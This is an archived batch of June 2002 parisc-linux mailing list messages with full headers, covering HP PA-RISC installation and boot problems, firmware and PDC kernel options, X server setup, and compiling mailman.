Message-ID: <1024502664.3d10ab88beda0@webmail.tiscalinet.be>
References: <200206190826.g5J8QYS31181@iut-lannion.fr> <200206190826.g5J8QYS31181@iut-lannion.fr> <200206191410.g5JEAMS03029@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621411 9134 80.91.229.3 (22 Nov 2014 01:56:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:51 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Bruno_L=E9on?= <nonolemono@yahoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 10:05:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id D46E04857
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 10:05:07 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17KhwW-00060E-00; Wed, 19 Jun 2002 18:04:24 +0200
In-Reply-To: <200206191410.g5JEAMS03029@iut-lannion.fr>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15147

Quoting Bruno Lon <nonolemono@yahoo.fr>:

> 
> >>Which CD?
> The 0.9.3 iso cd downloaded from the Esiee team Website.
Well ...
> 
> >Try first 32bits kernel (till now I am running successfuly a 32bits
> pa37 on a
> b2000) with a serial console.
> I tried both kernels in fact, but none of them seem to work.
> 
> >Then may be you would like to get a more recent kernel in 64bits (see
> >ftp://ftp.parisc-linux.org/kernels/).
> I will change the kernel hopefuly, but I need to install a first one...
> ;-)
> 
> Here is the error I get on the LCD of the B1000 :
> FLT CBF4: SYS BD
> bad OS HPMC cksm 
> FLT CBFC: SYS BD 
> OS HPMC br err 
> FLT 500B: SYS BD 
> bus timeout 
> 

I could not help here (I suspect the problem of ide CD-Rom solved now)

> Another guy named "Yasholomew Yashinski" report the same error in
> february,
> but 
> I didn't understand how he solved his problem.

Do not remember but ...

> 
> I will look into netbooting perhaps.
> 

Yes, that is what I do to install my b2000 (as a copy of my b180).

But now an easiest way for you would certainly be to download a more recent
cd-image into: http://pateam.esiee.fr/cd-images/testing/
(see also explanation on http://pateam.esiee.fr/download.html#deb page)

Many progress where made since my test (about a month ago).
At least it would help you to format your disk and (if as I you do not access
internet from your b1000) a shell which would allow you to copy your b180 on
your  b1000.

I am confident that this solution will help you successfully,

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux-gcc not in gcc dpkg?
Date: Wed, 19 Jun 2002 18:07:21 +0200 (CEST)
Lines: 33
Approved: news@gmane.org
Message-ID: <1024502841.3d10ac39dc7dd@webmail.tiscalinet.be>
References: <1024493288.3d1086e89dfd2@webmail.tiscalinet.be> <20020619143627.K9435@parcelfarce.linux.theplanet.co.uk> <1024495623.3d109007598b2@webmail.tiscalinet.be> <20020619151755.L9435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621412 9136 80.91.229.3 (22 Nov 2014 01:56:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:52 +0000 (UTC)
Cc: joel.soete@freebel.net, Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 10:33:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3647D485D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 10:33:02 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17KhzO-00061S-00; Wed, 19 Jun 2002 18:07:22 +0200
In-Reply-To: <20020619151755.L9435@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15148

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Jun 19, 2002 at 04:07:03PM +0200, joel.soete@freebel.net wrote:
> > May I am wrong (I thought that the PDC of the b2000 was not a 64bits
> one; I will
> > check )
> 
> ah, you relied on memory rather than reading the help text then?
> 
> 32-bit PDC
> CONFIG_PDC_NARROW
>   Saying Y here will allow developers with a C180, C200, C240, C360,
>   J200, J210, and/or a J2240 to test 64-bit kernels by providing a
>   wrapper for the 32-bit PDC calls.  Since the machines which require
>   this option do not support over 4G of RAM, this option is targeted
>   for developers of these machines wishing to test changes on both
>   32-bit and 64-bit configurations.
> 
>   If unsure, say N.
> 
> b2000 and similar machines have firmware which supports both 32 and 64
> bit PDC calls.
> 
Nice (for sure next time I will read help)
Thanks a lot,
    Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Audette" <Mike.Audette@synopsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C110 Xserver.
Date: Wed, 19 Jun 2002 14:37:38 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <HMEKIKEAKEFFMJJOEAJNGEKJFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621412 9139 80.91.229.3 (22 Nov 2014 01:56:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:52 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 12:37:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boden.synopsys.com (boden.synopsys.com [204.176.20.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D9724844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 12:37:48 -0600 (MDT)
Original-Received: from mother.synopsys.com (mother.synopsys.com [146.225.100.171])
	by boden.synopsys.com (Postfix) with ESMTP id 53BEBDD46
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 11:37:47 -0700 (PDT)
Original-Received: from boston.synopsys.com (localhost [127.0.0.1])
	by mother.synopsys.com (8.9.1/8.9.1) with ESMTP id LAA15212
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 11:37:04 -0700 (PDT)
Original-Received: from maudettec800 (dhcp-146-225-129-157.synopsys.com [146.225.129.157])
	by boston.synopsys.com (8.9.1/8.9.1) with SMTP id OAA28526
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 14:37:45 -0400 (EDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15149

Has anyone been able to get X up and going on the C110 with the default
(EISA/???) graphics card?  If so is there an XF86conf?

			-Thanks!
			  Mike




From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unsolicited commercial email ;-) (for sale, rp2430 pa-8700 system)
Date: Thu, 20 Jun 2002 10:19:57 +1000
Lines: 13
Approved: news@gmane.org
Message-ID: <002201c217f0$35aaa180$0117160a@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621412 9142 80.91.229.3 (22 Nov 2014 01:56:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:52 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 18:20:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id D75FC482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 18:20:14 -0600 (MDT)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP id 497D917FD62
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 10:24:38 +1000 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15150

Hi guys,

	Want a PA-8700 system? Have a look here: 

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2033379229

	Apologies in advance if this makes you drool or otherwise
disturbs you ;-)

	Duraid




From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mail-man
Date: Thu, 20 Jun 2002 10:50:50 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F881542340@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416621413 9143 80.91.229.3 (22 Nov 2014 01:56:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 02:50:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.be (alc250.alcatel.be [195.207.101.250])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE664482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 02:50:56 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (relay3 [127.0.0.1])
	by mail.alcatel.be (8.11.0/8.11.4) with ESMTP id g5K8ld920509
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 10:47:39 +0200
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <NHXM3765>; Thu, 20 Jun 2002 10:50:50 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15151

Hi,

Short question,

Did anybody already succeed in compiling mailman?
Here (712/100) it failed.

Hans



From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mail-man
Date: Thu, 20 Jun 2002 11:01:15 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <3D1199DB.3050702@esiee.fr>
References: <03273D4BC7F4D511AC440008C7E6F881542340@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621413 9146 80.91.229.3 (22 Nov 2014 01:56:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 03:01:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 154A8482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 03:01:17 -0600 (MDT)
Original-Received: from esiee.fr (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with ESMTP
	id 92A2549C69; Thu, 20 Jun 2002 11:01:15 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020412 Debian/0.9.9-6
X-Accept-Language: fr-fr, fr
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15152

Hi,

There is a binary from debian:
alysee:~$ apt-cache search mailman
lists-archives - Web archive for mailing lists
mailman - Powerful, web-based mailing list manager
So if you still want to build your own, download the tarball and the 
patch applied by the maintainer from:
http://packages.debian.org/testing/mail/mailman.html
and have a look on the options used.

Regards,
Matthieu

Witvliet, Hans wrote:

>Hi,
>
>Short question,
>
>Did anybody already succeed in compiling mailman?
>Here (712/100) it failed.
>
>Hans
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>






From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Masliy Alex <masliy@kfti.knc.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Thu, 20 Jun 2002 12:55:06 +0400
Organization: KSTU
Lines: 32
Approved: news@gmane.org
Message-ID: <adn_8246_0_@dionis.kfti.knc.ru>
References: <adn_159_0_@dionis.kfti.knc.ru>
	<Pine.LNX.4.21.0206182235280.13201-100000@utelscin.scintilla>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="KOI8-R"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621413 9157 80.91.229.3 (22 Nov 2014 01:56:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim ter Laak <timl@scintilla.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 03:04:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dionis.kfti.knc.ru (unknown [195.208.38.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id D69AD485F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 03:04:03 -0600 (MDT)
Original-Received: by dionis.kfti.knc.ru; Thu, 20 Jun 2002 12:59:39 +0400 (MSK)
Original-Received: from duron by dionis.kfti.knc.ru with SMTP; Thu, 20 Jun 2002 12:59:23 +0400 (MSK)
In-Reply-To: <Pine.LNX.4.21.0206182235280.13201-100000@utelscin.scintilla>
X-Mailer: stuphead ver. 0.5.5 (Alternative-cvs) (GTK+ 1.2.10; Linux 2.4.18-alt0.2.pre4-up; i686)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15153

On Tue, 18 Jun 2002 22:41:04 +0200 (CEST)
Tim ter Laak <timl@scintilla.utwente.nl> wrote:

>> >> At first, I tried to install from CDROM. In the proccess of booting
>>the
>> >> following messages were printed:
>> >> ---------------
>> >> Trying to scsi.4.0
>> >> Failed to initialize scsi.4.0
>> >> ENTRY_INIT status = -13
>> RH> Hmm. Was this drive working with that box under HP-UX?
>>     Yes, of course. I was mounted the Debian Install Disk under HP-UX.
>>     But it is old device (August 1993). 
TTL> I have the exact same problem on this hardware. As long as I boot the
TTL> kernel from network, the whole linux system comes up fine. But the
TTL> BIOS won't load the PALO from disk. :-( Throw in the old UX disk, and
it
TTL> just boots.
      I could not exactly understand what does the last phrase mean.
Either I must stop my attempts to install Linux on this mashine or I must
take older distribution version or what?

TTL> I know there's a firmware update for the faster 715's (66MHz and
TTL> up). Could this be a firmware bug? 
       May be,  but how can I find out that thing?

--
 ,
 			mailto:masliy@kfti.knc.ru




From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Thu, 20 Jun 2002 11:51:16 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20020620095116.GM25945@charite.de>
References: <adn_159_0_@dionis.kfti.knc.ru> <Pine.LNX.4.21.0206182235280.13201-100000@utelscin.scintilla> <adn_8246_0_@dionis.kfti.knc.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621414 9161 80.91.229.3 (22 Nov 2014 01:56:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:54 +0000 (UTC)
Cc: Tim ter Laak <timl@scintilla.utwente.nl>,
	parisc-linux@lists.parisc-linux.org
To: Masliy Alex <masliy@kfti.knc.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 03:51:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 838774846
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 03:51:19 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id A653015C00C; Thu, 20 Jun 2002 11:51:17 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 08598633B3; Thu, 20 Jun 2002 11:51:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <adn_8246_0_@dionis.kfti.knc.ru>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15154

On Thu, Jun 20, 2002 at 12:55:06PM +0400, Masliy Alex wrote:

>       I could not exactly understand what does the last phrase mean.
> Either I must stop my attempts to install Linux on this mashine or I must
> take older distribution version or what?

Update the firmware maybe?
 
> TTL> I know there's a firmware update for the faster 715's (66MHz and
> TTL> up). Could this be a firmware bug? 
>        May be,  but how can I find out that thing?

Boot the box, look at the firmware version.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
(s)he can't be reached via phone or e-mail becuase (s)he is too busy on usenet telling everybody how busy (s)he is or thinking up 101 reasons why (s)he can't be found. -- D. Allen Bassham abassham@svm.com




From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mail-man
Date: Thu, 20 Jun 2002 11:51:35 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20020620095135.GN25945@charite.de>
References: <03273D4BC7F4D511AC440008C7E6F881542340@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621414 9163 80.91.229.3 (22 Nov 2014 01:56:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 03:51:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C5F94846
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 03:51:37 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 0376915C016; Thu, 20 Jun 2002 11:51:35 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 7F82B633B3; Thu, 20 Jun 2002 11:51:35 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <03273D4BC7F4D511AC440008C7E6F881542340@nlntmail2b.ats.nld.alcatel.nl>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
